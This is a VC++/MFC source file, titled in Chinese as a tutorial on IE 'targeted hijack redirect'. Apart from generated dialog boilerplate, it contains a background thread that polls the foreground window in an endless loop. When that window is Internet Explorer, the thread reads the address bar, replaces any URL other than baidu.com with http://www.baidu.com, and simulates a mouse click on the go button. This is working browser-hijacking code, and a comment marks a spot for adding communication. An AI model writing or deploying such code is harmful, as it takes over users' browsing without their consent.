VC++实现IE定向劫持跳转

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#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About

class CAboutDlg : public CDialog
{
public:
	CAboutDlg();

// Dialog Data
	//{{AFX_DATA(CAboutDlg)
	enum { IDD = IDD_ABOUTBOX };
	//}}AFX_DATA

	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CAboutDlg)
	protected:
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
	//}}AFX_VIRTUAL

// Implementation
protected:
	//{{AFX_MSG(CAboutDlg)
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
	//{{AFX_DATA_INIT(CAboutDlg)
	//}}AFX_DATA_INIT
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CAboutDlg)
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
	//{{AFX_MSG_MAP(CAboutDlg)
		// No message handlers
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CIehookDlg dialog

CIehookDlg::CIehookDlg(CWnd* pParent /*=NULL*/)
	: CDialog(CIehookDlg::IDD, pParent)
{
	//{{AFX_DATA_INIT(CIehookDlg)
		// NOTE: the ClassWizard will add member initialization here
	//}}AFX_DATA_INIT
	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CIehookDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CIehookDlg)
		// NOTE: the ClassWizard will add DDX and DDV calls here
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CIehookDlg, CDialog)
	//{{AFX_MSG_MAP(CIehookDlg)
	ON_WM_SYSCOMMAND()
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	ON_BN_CLICKED(IDC_KAISHI, OnKaishi)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CIehookDlg message handlers

BOOL CIehookDlg::OnInitDialog()
{
	CDialog::OnInitDialog();

	// Add "About..." menu item to system menu.

	// IDM_ABOUTBOX must be in the system command range.
	ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
	ASSERT(IDM_ABOUTBOX < 0xF000);

	CMenu* pSysMenu = GetSystemMenu(FALSE);
	if (pSysMenu != NULL)
	{
		CString strAboutMenu;
		strAboutMenu.LoadString(IDS_ABOUTBOX);
		if (!strAboutMenu.IsEmpty())
		{
			pSysMenu->AppendMenu(MF_SEPARATOR);
			pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
		}
	}

	// Set the icon for this dialog.  The framework does this automatically
	//  when the application's main window is not a dialog
	SetIcon(m_hIcon, TRUE);			// Set big icon
	SetIcon(m_hIcon, FALSE);		// Set small icon
	
	// TODO: Add extra initialization here
	
	return TRUE;  // return TRUE  unless you set the focus to a control
}

void CIehookDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
	if ((nID & 0xFFF0) == IDM_ABOUTBOX)
	{
		CAboutDlg dlgAbout;
		dlgAbout.DoModal();
	}
	else
	{
		CDialog::OnSysCommand(nID, lParam);
	}
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CIehookDlg::OnPaint() 
{
	if (IsIconic())
	{
		CPaintDC dc(this); // device context for painting

		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

		// Center icon in client rectangle
		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;

		// Draw the icon
		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialog::OnPaint();
	}
}

// The system calls this to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CIehookDlg::OnQueryDragIcon()
{
	return (HCURSOR) m_hIcon;
}
//开始得到IE窗口
void CIehookDlg::OnKaishi() 
{
  skaishi=AfxBeginThread(kaishi,NULL);	
}

UINT kaishi(LPVOID lParam)
{
HWND zwnd;
HWND hwnd1,hwnd2;
HWND anniuwnd;
HWND editwnd;
//ToolbarWindow32

int i=0;
CString sn,s1;
CRect qr;
for(;;)
{
Sleep(10);
zwnd=::GetForegroundWindow();//得到IE主窗口
    TCHAR szClassName[_MAX_PATH];
    ZeroMemory(szClassName,_MAX_PATH*sizeof(TCHAR));
   ::GetClassName(zwnd,szClassName,_MAX_PATH);
	sn.Format("%s",szClassName);
	sn.Replace(" ","");
   if(sn=="IEFrame")//如果是IE
   {
hwnd1=::FindWindowEx(zwnd,NULL,_T("WorkerW"),NULL);
hwnd2=::FindWindowEx(hwnd1,NULL,_T("ReBarWindow32"),NULL);
hwnd1=::FindWindowEx(hwnd2,NULL,_T("ComboBoxEx32"),NULL);
anniuwnd=::FindWindowEx(hwnd1,NULL,_T("ToolbarWindow32"),NULL);
hwnd2=::FindWindowEx(hwnd1,NULL,_T("ComboBox"),NULL);
editwnd=::FindWindowEx(hwnd2,NULL,_T("Edit"),NULL);
if(editwnd!=NULL&&i==0)
{
	char sz[255];
	::SendMessage(editwnd,WM_GETTEXT,255,(LPARAM)sz);
	sn.Format("%s",sz);
	sn.Replace("//","`");
    AfxExtractSubString(s1,sn,0,'/');
    s1.Replace("`","//");
	//这里插入通讯
	if(s1!="http://www.baidu.com"&&s1!="about:blank")//如果不是指向的地址
	{
    sn.Format("http://www.baidu.com",sz);//修改为指向的地址
	char *ss=sn.GetBuffer(0);
	::SendMessage(editwnd,WM_SETTEXT,255,(LPARAM)ss);
       ::GetWindowRect(anniuwnd,qr);
       SetCursorPos(qr.left+15,qr.top+8);
       ::mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
	}
}
   }
}
ExitThread(0);
return 0;
}